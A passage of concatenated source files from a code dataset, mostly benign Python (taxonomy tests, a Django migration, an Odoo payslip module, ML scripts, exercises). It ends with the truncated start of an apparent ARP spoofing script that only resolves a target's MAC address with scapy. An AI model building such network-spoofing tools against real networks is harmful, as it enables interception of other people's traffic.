msg = ('Sciname {} has {} on line {} and line {}'.format(\n sciname, rec1.data[RIIS_SPECIES.LOCALITY_FLD],\n rec1.data[LINENO_FLD], rec2.data[LINENO_FLD]))\n err_msgs.append(msg)\n # assert not rec1.is_duplicate_locality(rec2)\n j += 1\n i += 1\n self._print_errors(\"Duplicate Name-Locality records\", err_msgs)\n\n # ...............................................\n def test_gbif_resolution_inconsistency(self):\n \"\"\"Test whether any full scientific names have more than one GBIF taxonKey.\"\"\"\n logit(self._log, \"*** test_gbif_resolution_inconsistency ***\")\n err_msgs = []\n if self.nnsl_by_species is None:\n self.read_riis(read_resolved=False)\n for sciname, reclist in self.nnsl_by_species.items():\n count = len(reclist)\n i = 0\n while i < count:\n j = i + 1\n while j < count:\n rec1 = reclist[i]\n rec2 = reclist[j]\n if not rec1.is_gbif_match(rec2):\n auth1 = rec1.data[RIIS_SPECIES.TAXON_AUTHORITY_FLD]\n auth2 = rec2.data[RIIS_SPECIES.TAXON_AUTHORITY_FLD]\n msg = 'Sciname {} has record1 taxon authority {}, with GBIF key {} (line {})'.format(\n sciname, auth1, rec1.data[RIIS_SPECIES.GBIF_KEY], rec1.data[LINENO_FLD])\n msg += ' and record2 taxon authority {}, with GBIF key {} (line {})'.format(\n auth2, rec2.data[RIIS_SPECIES.GBIF_KEY], rec2.data[LINENO_FLD])\n err_msgs.append(msg)\n # assert reclist[i].is_gbif_match(reclist[j])\n j += 1\n i += 1\n self._print_errors(\"GBIF taxonKey conflicts\", err_msgs)\n\n # ...............................................\n def test_missing_taxon_authority_resolution(self):\n \"\"\"Test whether any full scientific names have more than one GBIF taxonKey.\"\"\"\n logit(self._log, \"*** test_missing_taxon_authority_resolution ***\")\n err_msgs = []\n if self.nnsl_by_species is None:\n self.read_riis(read_resolved=False)\n for sciname, reclist in self.nnsl_by_species.items():\n for rec in reclist:\n auth = rec.data[RIIS_SPECIES.TAXON_AUTHORITY_FLD]\n if (auth == \"Accepted GBIF\" and rec.data[RIIS_SPECIES.GBIF_KEY] <= 0):\n err_msgs.append(\n 'Sciname {} has GBIF authority with key {} (line {})'.format(\n sciname, rec.data[RIIS_SPECIES.GBIF_KEY], rec.data[LINENO_FLD]))\n elif (auth == \"Accepted ITIS\" and rec.data[RIIS_SPECIES.ITIS_KEY] <= 0):\n err_msgs.append(\n 'Sciname {} has ITIS authority with key {} (line {})'.format(\n sciname, rec.data[RIIS_SPECIES.GBIF_KEY], rec.data[LINENO_FLD]))\n self._print_errors(\"Missing authority resolution\", err_msgs)\n\n # ...............................................\n def _print_errors(self, header, msgs):\n if msgs:\n logit(self._log, ERR_SEPARATOR)\n logit(self._log, \"--- {} ---\".format(header))\n for msg in msgs:\n logit(self._log, msg)\n\n # ...............................................\n def test_itis_resolution_inconsistency(self):\n \"\"\"Test whether any full scientific names have more than one ITIS TSN.\"\"\"\n logit(self._log, \"*** test_itis_resolution_inconsistency ***\")\n err_msgs = []\n if self.nnsl_by_species is None:\n self.read_riis(read_resolved=False)\n for sciname, reclist in self.nnsl_by_species.items():\n count = len(reclist)\n i = 0\n while i < count:\n j = i + 1\n while j < count:\n rec1 = reclist[i]\n rec2 = reclist[j]\n if not rec1.is_itis_match(rec2):\n auth1 = rec1.data[RIIS_SPECIES.TAXON_AUTHORITY_FLD]\n auth2 = rec2.data[RIIS_SPECIES.TAXON_AUTHORITY_FLD]\n msg = 'Sciname {} has record1 taxon authority {}, with ITIS key {} (line {})'.format(\n sciname, auth1, rec1.data[RIIS_SPECIES.ITIS_KEY], rec1.data[LINENO_FLD])\n msg += ' and record2 taxon authority {}, with ITIS key {} (line {})'.format(\n auth2, rec2.data[RIIS_SPECIES.ITIS_KEY], rec2.data[LINENO_FLD])\n err_msgs.append(msg)\n # assert reclist[i].is_itis_match(reclist[j])\n j += 1\n i += 1\n self._print_errors(\"ITIS tsn conflicts\", err_msgs)\n\n # ...............................................\n def test_resolve_gbif(self):\n \"\"\"Record changed GBIF taxonomic resolutions and write updated records.\"\"\"\n logit(self._log, \"*** test_resolve_gbif ***\")\n err_msgs = []\n self.read_riis(read_resolved=False)\n\n # Update species data\n self._print_errors(\"Re-resolve to accepted GBIF taxon\", err_msgs)\n name_count, rec_count = self.resolve_riis_to_gbif_taxa()\n logit(self._log, \"Resolved {} of expected {} records\".format(rec_count, RIIS_SPECIES.DATA_COUNT))\n\n # Find mismatches\n for key, reclist in self.nnsl_by_species.items():\n rec1 = reclist[0]\n try:\n rec1.data[RIIS_SPECIES.NEW_GBIF_KEY_FLD]\n except KeyError:\n logit(self._log, 'Failed to add field {} to {} records'.format(\n RIIS_SPECIES.NEW_GBIF_KEY_FLD, rec1.name))\n else:\n if not rec1.consistent_gbif_resolution():\n msg = \"Record {} old GBIF taxonKey {} / {} conflicts with new GBIF taxonKey {} / {}\".format(\n key,\n rec1.data[RIIS_SPECIES.GBIF_KEY],\n rec1.data[RIIS_SPECIES.SCINAME_FLD],\n\n rec1.data[RIIS_SPECIES.NEW_GBIF_KEY_FLD],\n rec1.data[RIIS_SPECIES.NEW_GBIF_SCINAME_FLD])\n err_msgs.append(msg)\n\n # ...............................................\n def test_resolution_output(self, is_test=True):\n \"\"\"Record changed GBIF taxonomic resolutions and write updated records.\n\n Args:\n is_test (bool): True if testing smaller test data file.\n \"\"\"\n logit(self._log, \"*** test_resolution_output ***\")\n # Re-read original data\n self.read_riis(read_resolved=False)\n\n # resolved data\n test_fname = None\n if is_test:\n test_fname = RIIS_SPECIES.TEST_FNAME\n resolved_nnsl = NNSL(DATA_PATH, test_fname=test_fname)\n resolved_nnsl.read_riis(read_resolved=True)\n\n orig_rec_count = 0\n res_rec_count = 0\n # Find in original\n for occid in self.nnsl_by_id.keys():\n orig_rec_count += 1\n # Find in resolved\n try:\n resolved_nnsl.nnsl_by_id[occid]\n except KeyError:\n logit(\n self._log,\n \"Failed to find occurrenceID {} in resolved dictionary\".format(occid))\n else:\n res_rec_count += 1\n\n if orig_rec_count != res_rec_count:\n logit(self._log, \"Original records {}, updated records {}\".format(\n orig_rec_count, res_rec_count))\n\n # ...............................................\n def test_missing_resolved_records(self, is_test=True):\n \"\"\"Read the original and updated RIIS records and find missing records in the updated file.\n\n Args:\n is_test (bool): True if testing smaller test data file.\n \"\"\"\n logit(self._log, \"*** test_missing_resolved_records ***\")\n # Re-read original data\n self.read_riis(read_resolved=False)\n\n # resolved data\n test_fname = None\n if is_test:\n test_fname = RIIS_SPECIES.TEST_FNAME\n resolved_nnsl = NNSL(DATA_PATH, test_fname=test_fname)\n resolved_nnsl.read_riis(read_resolved=True)\n\n # Count originals\n for occid in self.nnsl_by_id.keys():\n try:\n resolved_nnsl.nnsl_by_id[occid]\n except KeyError:\n logit(self._log, \"Missing record {}\".format(occid))\n\n\n# .............................................................................\nif __name__ == \"__main__\":\n import os\n logger = get_logger(os.path.join(DATA_PATH, LOG.DIR), \"test_riis_resolve\")\n\n tt = TestRIISTaxonomy(DATA_PATH, logger=logger)\n tt.test_missing_taxon_authority_resolution()\n tt.test_taxonomy_keys()\n tt.test_duplicate_name_localities()\n tt.test_gbif_resolution_inconsistency()\n tt.test_itis_resolution_inconsistency()\n tt = None\n\n # These overwrite resolved test data RIIS species w/ 100 records\n tt = TestRIISTaxonomy(DATA_PATH, test_fname=RIIS_SPECIES.TEST_FNAME, logger=logger)\n tt.test_resolve_gbif()\n tt.test_resolution_output(is_test=True)\n tt.test_missing_resolved_records(is_test=True)\n tt = None\n\n # # Resolving all the data (> 12K species) takes ~ 1-3 hours\n # tt = TestRIISTaxonomy(DATA_PATH, logger=logger)\n # tt.test_resolve_gbif()\n # tt.test_resolution_output(is_test=False)\n # tt.test_missing_resolved_records(is_test=False)\n\n\"\"\"\nfrom test.test_riis_resolve import *\n\ntt = TestRIISTaxonomy(DATA_PATH)\ntt.test_missing_taxon_authority_resolution()\ntt.test_taxonomy_keys()\ntt.test_duplicate_name_localities()\ntt.test_gbif_resolution_inconsistency()\ntt.test_itis_resolution_inconsistency()\ntt = None\n\n# These overwrite resolved test data RIIS species w/ 100 records\ntt = TestRIISTaxonomy(DATA_PATH, test_fname=RIIS_SPECIES.TEST_FNAME)\ntt.test_resolve_gbif()\ntt.test_resolution_output(is_test=True)\ntt.test_missing_resolved_records(is_test=True)\ntt = None\n\n# Resolve all the data (12K records) takes ~ 3 hours\ntt = TestRIISTaxonomy(DATA_PATH)\ntt.test_resolve_gbif()\ntt.test_resolution_output(is_test=False)\ntt.test_missing_resolved_records(is_test=False)\n\"\"\"\n","sub_path":"bison/test/test_riis_resolve.py","file_name":"test_riis_resolve.py","file_ext":"py","file_size_in_byte":12437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"236859262","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('main', '0008_auto_20160821_0500'),\n ]\n\n operations = [\n migrations.RenameModel(\n old_name='Turor',\n new_name='Tutor',\n ),\n migrations.AddField(\n model_name='course',\n name='tutor',\n field=models.ForeignKey(blank=True, to='main.Tutor', null=True),\n ),\n ]\n","sub_path":"main/migrations/0009_auto_20160821_0501.py","file_name":"0009_auto_20160821_0501.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"93529648","text":"from itertools import chain\n\nimport numpy as np\nimport theano.tensor as T\n\n\n__all__ = ('count_parameters', 'parameters2vector', 'iter_parameters',\n 'setup_parameter_updates')\n\n\ndef iter_parameters(network):\n \"\"\"\n Iterate over all network parameters.\n\n Parameters\n ----------\n network : ConstructableNetwork instance\n\n Returns\n -------\n iterator\n Returns iterator that contains all weights and biases from the\n network. Parameters from the first layer will be at the beggining\n and the other will be in the same order as layers in the\n network.\n \"\"\"\n parameters = [layer.parameters for layer in network.layers]\n return chain(*parameters)\n\n\ndef parameters2vector(network):\n \"\"\"\n Concatenate all network parameters in one big vector.\n\n Parameters\n ----------\n network : ConstructableNetwork instance\n\n Returns\n -------\n object\n Returns concatenated parameters in one big vector.\n \"\"\"\n params = iter_parameters(network)\n return T.concatenate([param.flatten() for param in params])\n\n\ndef count_parameters(network):\n \"\"\"\n Count number of parameters in Neural Network.\n\n Parameters\n ----------\n network : ConstructableNetwork instance\n\n Returns\n -------\n int\n Number of parameters.\n \"\"\"\n params = iter_parameters(network)\n return np.sum([param.get_value().size for param in params])\n\n\ndef setup_parameter_updates(parameters, parameter_update_vector):\n \"\"\"\n Creates update rules for list of parameters from one vector.\n Function is useful in Conjugate Gradient or\n Levenberg-Marquardt optimization algorithms\n\n Parameters\n ----------\n parameters : list\n parameter_update_vector : Theano varible\n\n Returns\n -------\n list\n List of updates separeted for each parameter.\n \"\"\"\n updates = []\n start_position = 0\n\n for parameter in parameters:\n end_position = start_position + parameter.size\n\n new_parameter = T.reshape(\n parameter_update_vector[start_position:end_position],\n parameter.shape\n )\n updates.append((parameter, new_parameter))\n\n start_position = end_position\n\n return updates\n","sub_path":"neupy/algorithms/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"72337053","text":"from odoo import api, fields, models\r\nfrom datetime import datetime\r\nfrom odoo.tools import amount_to_text_en\r\nfrom dateutil.relativedelta import relativedelta\r\nfrom odoo.exceptions import AccessError\r\n\r\n\r\nclass custom_payslip(models.Model):\r\n _inherit = 'hr.payslip'\r\n\r\n def fetch_service_period(self, emp_id):\r\n rec = self.env['hr.contract'].search([('employee_id', '=', emp_id)])\r\n start_date = rec[0].date_start\r\n fmt = '%Y-%m-%d'\r\n\r\n d1 = datetime.strptime(start_date, fmt)\r\n d2 = datetime.strptime(self.date_to, fmt)\r\n\r\n relative_delta = relativedelta(d2, d1)\r\n\r\n days = str(relative_delta.days)\r\n months = str(relative_delta.months)\r\n years = str(relative_delta.years)\r\n\r\n if days == False or days == None:\r\n days = 0\r\n if months == False or months == None:\r\n months = 0\r\n if years == False or years == None:\r\n years = 0\r\n return str(years) + \" Year(s), \" + str(months) + \" Month(s), \" + str(days) + \" Day(s)\"\r\n\r\n def check_settings(self):\r\n check_ = self.env['payslip.configuration'].search([])\r\n if check_:\r\n return check_[0].name\r\n\r\n def payslip(self, slip_id, category_name):\r\n category_name = category_name.title()\r\n self.env.cr.execute(\"\"\"\r\n select hsl.name,hsl.total \r\n from hr_payslip_line as hsl \r\n inner join hr_salary_rule as hsr on hsl.salary_rule_id = hsr.id \r\n inner join hr_salary_rule_category as hsrc on hsr.category_id = hsrc.id \r\n where hsl.slip_id=%s and hsrc.name='%s' and hsr.appears_on_payslip=True \r\n order by hsrc.name asc,hsr.sequence asc\"\"\" % (slip_id, category_name))\r\n data = self.env.cr.dictfetchall()\r\n if len(data) > 0:\r\n return data\r\n else:\r\n return 0\r\n\r\n @api.multi\r\n def amount_to_text(self, amount, currency):\r\n convert_amount_in_words = amount_to_text_en.amount_to_text(amount, lang='en', currency='')\r\n convert_amount_in_words = convert_amount_in_words.replace(' and Zero Cent', ' Only ')\r\n return convert_amount_in_words\r\n\r\n\r\nclass payslip_configuration(models.Model):\r\n _name = 'payslip.configuration'\r\n\r\n name = fields.Selection([(0, 'Disable Tax Summary'), (1, 'Enable Tax Summary')], string='Tax Summary')\r\n\r\n\r\nclass payslip_config_transient(models.TransientModel):\r\n _name = 'payslip.config.settings'\r\n\r\n name = fields.Selection([(0, 'Disable Tax Summary'), (1, 'Enable Tax Summary')], string='Tax Summary')\r\n\r\n @api.model\r\n def default_get(self, fields):\r\n res = super(payslip_config_transient, self).default_get(fields)\r\n obj = self.env['payslip.configuration'].search([])\r\n if obj[0].name:\r\n res['name'] = obj[0].name\r\n return res\r\n\r\n @api.multi\r\n def execute(self):\r\n # self.ensure_one()\r\n if not self.env.user._is_superuser() and not self.env.user.has_group('hr_payroll.group_hr_payroll_manager'):\r\n raise AccessError(\"Only administrators can change the settings\")\r\n self.env['payslip.configuration'].search([]).unlink()\r\n self.env['payslip.configuration'].create({'name': self.name})\r\n return {\r\n 'url': '/web',\r\n 'type': 'ir.actions.act.url',\r\n 'target': 'self'\r\n }\r\n\r\n @api.multi\r\n def cancel(self):\r\n return {\r\n 'url': '/web',\r\n 'type': 'ir.actions.act.url',\r\n 'target': 'self'\r\n }","sub_path":"ga_payroll_functions/models/custom_hr_payslip.py","file_name":"custom_hr_payslip.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"143143235","text":"import PySimpleGUI as sg\nfrom operator import itemgetter\n\nfrom src.enums.guiState import GuiState\nfrom src.enums.modelType import ModelType\nfrom src.enums.scalerType import ScalerType\nfrom src.helpers.datasetHelper import DatasetHelper\nfrom src.helpers.plotterHelper import PlotterHelper\nfrom src.models.dataset import Dataset\nfrom src.models.model import Model\nfrom src.models.scaler import Scaler\nfrom src.store import Store\nfrom src.helpers.randomHelper import RandomHelper\n\n\nclass Gui:\n _store = Store()\n _window = None\n _state = GuiState.GenerateData\n\n _models = [{\"key\": \"model\" + str(x.value), \"value\": x}\n for x in ModelType]\n _selectedModel = ModelType.LinearRegression\n _subscriptMap = {\n \"0\": \"₀\",\n \"1\": \"₁\",\n \"2\": \"₂\",\n \"3\": \"₃\",\n \"4\": \"₄\",\n \"5\": \"₅\",\n \"6\": \"₆\",\n \"7\": \"₇\",\n \"8\": \"₈\",\n \"9\": \"₉\",\n \"10\": \"₁₀\",\n \"11\": \"₁₁\",\n \"12\": \"₁₂\",\n \"13\": \"₁₃\",\n \"14\": \"₁₄\",\n \"15\": \"₁₅\",\n \"16\": \"₁₆\",\n \"17\": \"₁₇\",\n \"18\": \"₁₈\",\n \"19\": \"₁₉\",\n \"20\": \"₂₀\",\n }\n\n def start(self):\n sg.theme('DarkBlue')\n self._window = sg.Window('Regression Benchmark', self.createLayout(),\n icon=\"./assets/ico.ico\", finalize=True)\n self._window.read(timeout=10)\n self._window['numberOfVariables'].update(self._store.numberOfVariables)\n self._window['maxCoeff'].update(self._store.maxCoeff)\n self._window['maxExp'].update(self._store.maxExp)\n self._window['minValue'].update(self._store.minValue)\n self._window['maxValue'].update(self._store.maxValue)\n self._window['numberOfSamples'].update(self._store.numberOfSamples)\n self.updateDisplayedModel(self._selectedModel)\n while True: # Event Loop\n event, values = self._window.read(timeout=10)\n if event in (None, 'Exit'): # exits event loop\n break\n\n if event == 'updateValues':\n self.updateValues(values)\n\n if event == 'randomizeValues':\n self.randomizeValues()\n self.updateDisplayedValues()\n\n if event == 'updateValues' or event == 'randomizeValues':\n self._window['action'].update(\"Generate data\")\n self._window['action'].update(visible=True)\n self._window['runall'].update(visible=True)\n self._state = GuiState.GenerateData\n\n if event == 'runall':\n self.updateValues(values)\n self._store.resetDatasetAndModel()\n self._state = GuiState.GenerateData\n self._window['action'].update(\"Generate data\")\n self.runAllModels()\n\n if event == 'action':\n if self._state == GuiState.GenerateData:\n self._window['action'].update(\"Generating...\")\n self.generateData()\n self.createDataset()\n self._window['action'].update(\"Train Model\")\n self._state = GuiState.TrainModel\n elif self._state == GuiState.TrainModel:\n self._window['action'].update(\"Training...\")\n self.trainModel()\n self._window['action'].update(\"Test\")\n self._state = GuiState.Test\n elif self._state == GuiState.Test:\n self._window['action'].update(\"Testing...\")\n self._window['score'].update(self.testModel())\n self._window['action'].update(\"Show output\")\n self._state = GuiState.Output\n else:\n self.showOutput()\n\n self._window.close()\n\n def createLayout(self):\n return [\n [\n sg.Text('Maximum coefficient:', size=(20, 1)),\n sg.Input(size=(20, 1), key='maxCoeff'),\n sg.Text(size=(20, 1)),\n sg.Text('Maximum exponent:', size=(20, 1)),\n sg.Input(size=(20, 1), key='maxExp'),\n sg.Text(size=(30, 1)),\n sg.Button(size=(20, 1), button_color=(\"white\", \"black\"),\n button_text=\"Update\", key='updateValues'),\n sg.Button(size=(20, 1), button_color=(\"white\", \"black\"),\n button_text=\"Randomize\", key='randomizeValues')\n ],\n [\n sg.Text('Domain minimum value:', size=(20, 1)),\n sg.Input(size=(20, 1), key='minValue'),\n sg.Text(size=(20, 1)),\n sg.Text('Domain maximum value:', size=(20, 1)),\n sg.Input(size=(20, 1), key='maxValue'),\n sg.Text(size=(20, 1)),\n sg.Text('Number of samples:', size=(20, 1)),\n sg.Input(size=(20, 1), key='numberOfSamples')\n ],\n [\n sg.Text('Regression model:', size=(20, 1))\n ] + [\n sg.Radio(model.name, \"radio_group1\", key=\"model\" + str(model.value)) for model in ModelType\n ],\n [\n sg.Text('Number of variables:', size=(20, 1)),\n sg.Input(size=(20, 1), key='numberOfVariables'),\n ],\n self.createParameterLayout('coeff', 'Coefficients:'),\n self.createParameterLayout('exp', 'Exponents:'),\n [\n sg.Text('Resulting function:', size=(20, 2)),\n sg.Text('', key='resultingFunction', size=(120, 2))\n ],\n [\n sg.Text('Regression score:', size=(20, 2)),\n sg.Text('', key='score', size=(120, 2))\n ],\n [\n sg.Text(size=(77, 1)),\n sg.Text(size=(77, 1)),\n sg.Col([\n [\n sg.Button(size=(20, 1), button_color=(\n \"white\", \"black\"), button_text=\"Auto run all models\", key='runall', visible=False),\n sg.Button(size=(20, 1), button_color=(\n \"white\", \"black\"), button_text=\"Start\", key='action', visible=False)\n ]\n ])\n ]\n ]\n\n # Workaround for tkinker bug that missaligns invisible items\n @staticmethod\n def inputColumn(*args, **kwargs):\n return sg.Col([[sg.Input(*args, **kwargs)]], pad=(0, 0))\n\n def createParameterLayout(self, parameterName, title):\n arr = [self.inputColumn(size=(7, 1), key=f'{parameterName}{x}', visible=False)\n for x in range(self._store.maxNumberOfVariables)]\n arr.insert(0, sg.Text(title, size=(20, 1),\n key=parameterName, visible=True))\n\n return arr\n\n def updateValues(self, values):\n try:\n temp = int(values['numberOfVariables'])\n if (temp != self._store.numberOfVariables):\n self._store.numberOfVariables = temp\n\n if (self._store.numberOfVariables > self._store.maxNumberOfVariables):\n self._store.numberOfVariables = self._store.maxNumberOfVariables\n\n elif self._store.numberOfVariables < self._store.minNumberOfVariables:\n self._store.numberOfVariables = self._store.minNumberOfVariables\n\n except:\n self._store.numberOfVariables = self._store.minNumberOfVariables\n finally:\n self.updateParameterValues('coeff', values)\n self.updateParameterValues('exp', values)\n self.updateDisplayedValues()\n\n try:\n self._store.maxCoeff = float(values['maxCoeff'])\n except:\n self._window['maxCoeff'].update(self._store.maxCoeff)\n\n try:\n self._store.maxExp = float(values['maxExp'])\n except:\n self._window['maxExp'].update(self._store.maxExp)\n\n try:\n self._store.minValue = int(values['minValue'])\n except:\n self._window['minValue'].update(self._store.minValue)\n\n try:\n self._store.maxValue = int(values['maxValue'])\n except:\n self._window['maxValue'].update(self._store.maxValue)\n\n try:\n self._store.numberOfSamples = int(values['numberOfSamples'])\n except:\n self._window['numberOfSamples'].update(self._store.numberOfSamples)\n\n for model in self._models:\n if values[model[\"key\"]]:\n self._selectedModel = model[\"value\"]\n\n def updateDisplayedModel(self, value):\n for model in self._models:\n if model[\"value\"] == value:\n self._window[model[\"key\"]].update(True)\n else:\n self._window[model[\"key\"]].update(False)\n\n def updateDisplayedValues(self):\n self._window['numberOfVariables'].update(self._store.numberOfVariables)\n self.updateParameterVisibility('coeff')\n self.updateParameterVisibility('exp')\n\n self.updateDisplayedParameterValues('exp')\n self.updateDisplayedParameterValues('coeff')\n self.updateResultingFunction()\n\n def updateDisplayedParameterValues(self, parameterName):\n for x in range(self._store.maxNumberOfVariables):\n self._window[f'{parameterName}{x}'].update(\n self._store.parametersArr[x][parameterName])\n\n def updateParameterVisibility(self, parameterName):\n for x in range(self._store.numberOfVariables):\n self._window[f'{parameterName}{x}'].update(visible=True)\n\n for x in range(self._store.numberOfVariables, self._store.maxNumberOfVariables):\n self._window[f'{parameterName}{x}'].update(visible=False)\n\n def updateParameterValues(self, parameterName, values):\n for x in range(self._store.maxNumberOfVariables):\n try:\n self._store.parametersArr[x][parameterName] = int(\n values[f'{parameterName}{x}'])\n except ValueError:\n try:\n self._store.parametersArr[x][parameterName] = float(\n values[f'{parameterName}{x}'])\n except:\n self._window[f'{parameterName}{x}'].update(1)\n\n def resultingFunction(self):\n resultingFunction = ''\n for x in range(self._store.numberOfVariables):\n coeff = self._store.parametersArr[x]['coeff']\n if coeff > 0 and x > 0:\n resultingFunction += ' + '\n resultingFunction += f'{coeff}X{self._subscriptMap[f\"{x}\"]}^'\n\n exp = self._store.parametersArr[x]['exp']\n if exp < 0:\n resultingFunction += '-'\n\n resultingFunction += f'{exp}'\n self._store.resultingFunction = resultingFunction\n\n def updateResultingFunction(self):\n self.resultingFunction()\n self._window['resultingFunction'].update(self._store.resultingFunction)\n\n def randomizeValues(self):\n self._store.numberOfVariables = RandomHelper.randomInt(\n self._store.minNumberOfVariables, self._store.maxNumberOfVariables)\n for x in range(self._store.numberOfVariables):\n self._store.parametersArr[x]['coeff'] = RandomHelper.randomFloat(\n self._store.maxCoeff)\n self._store.parametersArr[x]['exp'] = RandomHelper.randomFloat(\n self._store.maxExp)\n\n def generateData(self):\n DatasetHelper.generateDataset(self._store)\n\n def createDataset(self):\n self._store.dataSet = Dataset(self._store.label, self._store.dataFrame)\n\n def trainModel(self, model: ModelType = None):\n self._store.scaler = Scaler(\n ScalerType.StandardScaler, self._store.dataSet.getFeaturesData())\n X = self._store.scaler.transform(self._store.dataSet.getFeaturesData())\n y = self._store.dataSet.getLabelData()\n if model == None:\n self._store.model = Model(self._selectedModel, X, y)\n else:\n self._store.model = Model(model, X, y)\n\n def testModel(self):\n X = self._store.scaler.transform(self._store.dataSet.getFeaturesData())\n y = self._store.dataSet.getLabelData()\n\n return round(self._store.model.evaluate(X, y), 2)\n\n def showOutput(self, show=True):\n PlotterHelper.plotFormula(\n self._store, self._store.model.getAlgorithmUsed(), show)\n\n def runAllModels(self):\n self.generateData()\n scores = {}\n figures = []\n for model in self._models:\n self.createDataset()\n self.trainModel(model['value'])\n scores[self._store.model.getAlgorithmUsed()] = self.testModel()\n figures.append(self.showOutput(False))\n\n figures.append(PlotterHelper.plotEvaluations(list(map(itemgetter(0), scores.items())),\n list(\n map(itemgetter(1), scores.items())),\n 'All scores'))\n self._window['score'].update(' '.join(str(e) for e in scores.values()))\n PlotterHelper.show()\n","sub_path":"src/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":13270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"142149375","text":"import pandas as pd\nimport numpy as np\nimport torch\nimport os\nfrom torch.utils.data import DataLoader\nfrom twitter_disaster.glove_gru_net import GloveDataSet, GloveNet, GloveTestDataSet, EMBEDDING_DIMENSION\n\nTRAIN_DATA_PATH = os.path.dirname(__file__) + \"data/train_v2.csv\"\nTEST_DATA_PATH = os.path.dirname(__file__) + \"data/test_v2.csv\"\nSUB_DATA_PATH = os.path.dirname(__file__) + \"data/sample_submission.csv\"\nPRED_DATA_PATH = os.path.dirname(__file__) + \"data/sample_submission_glove_gru_v6.csv\"\n\ndataset = GloveDataSet(TRAIN_DATA_PATH, max_seq_len=30)\ntrain_size = int(0.8 * len(dataset))\nevaluator_size = len(dataset) - train_size\ntrain_dataset, evaluator_dataset = torch.utils.data.random_split(dataset, [train_size, evaluator_size], generator=torch.Generator().manual_seed(42))\n\n\ndef collate(batch):\n inputs = torch.FloatTensor([item[0] for item in batch])\n target = torch.FloatTensor([item[1] for item in batch])\n return inputs, target\n\n\ndef collate_test(batch):\n inputs = torch.FloatTensor([item for item in batch])\n return inputs\n\n\ntrain_loader = DataLoader(train_dataset, batch_size=64, collate_fn=collate, shuffle=True)\nevaluator_loader = DataLoader(evaluator_dataset, batch_size=64, collate_fn=collate, shuffle=True)\nmodel = GloveNet(epochs=10, embedding_dimension=EMBEDDING_DIMENSION, batch_size=64, verbose=True)\nmodel.fit(train_loader, evaluator_loader)\n\ntest_dataset = GloveTestDataSet(TEST_DATA_PATH, max_seq_len=30, glove_embedding=dataset.glove_embedding)\ntest_loader = DataLoader(test_dataset, batch_size=64, collate_fn=collate_test)\npred = model.predict(test_loader)\n\nsub = pd.read_csv(SUB_DATA_PATH)\nsub['target'] = pred\nsub.to_csv(PRED_DATA_PATH, index=False)\n\n\n","sub_path":"twitter_disaster/glove_gru_model.py","file_name":"glove_gru_model.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"517581453","text":"import numpy as np\nimport chainer\nfrom chainer import cuda, Function, gradient_check, Variable, optimizers, serializers, utils\nfrom chainer import Link, Chain, ChainList\nimport chainer.functions as F\nimport chainer.links as L\n\nx = Variable(np.array([[1, 2, 3], [4, 5, 6]], dtype=np.float32))\ny = x**2 - 2*x + 1\ny.grad = np.ones((2, 3), dtype=np.float32)\ny.backward()\n\nclass MyChain(Chain):\n def __init__(self):\n super(MyChain, self).__init__(\n l1=L.Linear(4, 3),\n l2=L.Linear(3, 2),\n )\n\n def __call__(self, x):\n h = self.l1(x)\n return self.l2(h)\n\nmodel = MyChain()\noptimizer = optimizers.SGD()\noptimizer.setup(model)\n\n\n\n\n\n","sub_path":"chainer_basics/dummpy.py","file_name":"dummpy.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"378424403","text":"\"\"\"\n2. Во втором массиве сохранить индексы четных элементов первого массива.\nНапример, если дан массив со значениями 8, 3, 15, 6, 4, 2, то во второй массив\nнадо заполнить значениями 1, 4, 5, 6\n(или 0, 3, 4, 5 - если индексация начинается с нуля),\nт.к. именно в этих позициях первого массива стоят четные числа.\n\"\"\"\n\nmass = input('Введите массив чисел разделенных пробелами: ')\nmass = list(map(int, mass.split()))\neven_mass = []\n\nfor n, m in enumerate(mass):\n if m % 2 == 0:\n even_mass.append(n + 1)\n\nstr_even_mass = ', '.join(map(str, even_mass))\n\nprint(f'Четные числа находятся на позициях: {str_even_mass}')\n\n\n\n\n","sub_path":"Lesson_3/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"297532522","text":"class NomePessoa:\n\tnome = \"\"\n\tsobrenome = \"\"\n\n#Código principal\npes = NomePessoa()\npes.nome = input(\"Informe o primeiro nome da pessoa: \")\npes.sobrenome = input(\"Informe o sobrenome da pessoa: \")\n\nprint()\nprint(pes.nome + \" \" + pes.sobrenome) #Para concatenar strings, utilizar o operador +\nnomeInvertido = \"\"\nfor c in pes.nome:\n\tnomeInvertido = c + nomeInvertido\nnomeInvertido = \" \" + nomeInvertido #Adiciona um espaço entre o nome e o sobrenome\nfor c in pes.sobrenome:\n\tnomeInvertido = c + nomeInvertido\t\nprint(nomeInvertido)\n","sub_path":"material/respostas_exercicios/lista12/exe6.py","file_name":"exe6.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"185168131","text":"#!/usr/bin/env python\nimport time\nimport scapy.all as scapy\nimport optparse\n\n\ndef get_mac(ip):\n arp_request = scapy.ARP(pdst=ip)\n broadcast = scapy.Ether(dst=\"ff:ff:ff:ff:ff:ff\")\n arp_request_broadcast = broadcast / arp_request\n answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]\n answered_list[0]\n return answered_list[0][1].hwsrc\n\n\ndef get_arguments():\n parser = optparse.OptionParser()\n parser.add_option(\"-t\", \"--target\", dest=\"target\", help=\"Target IP 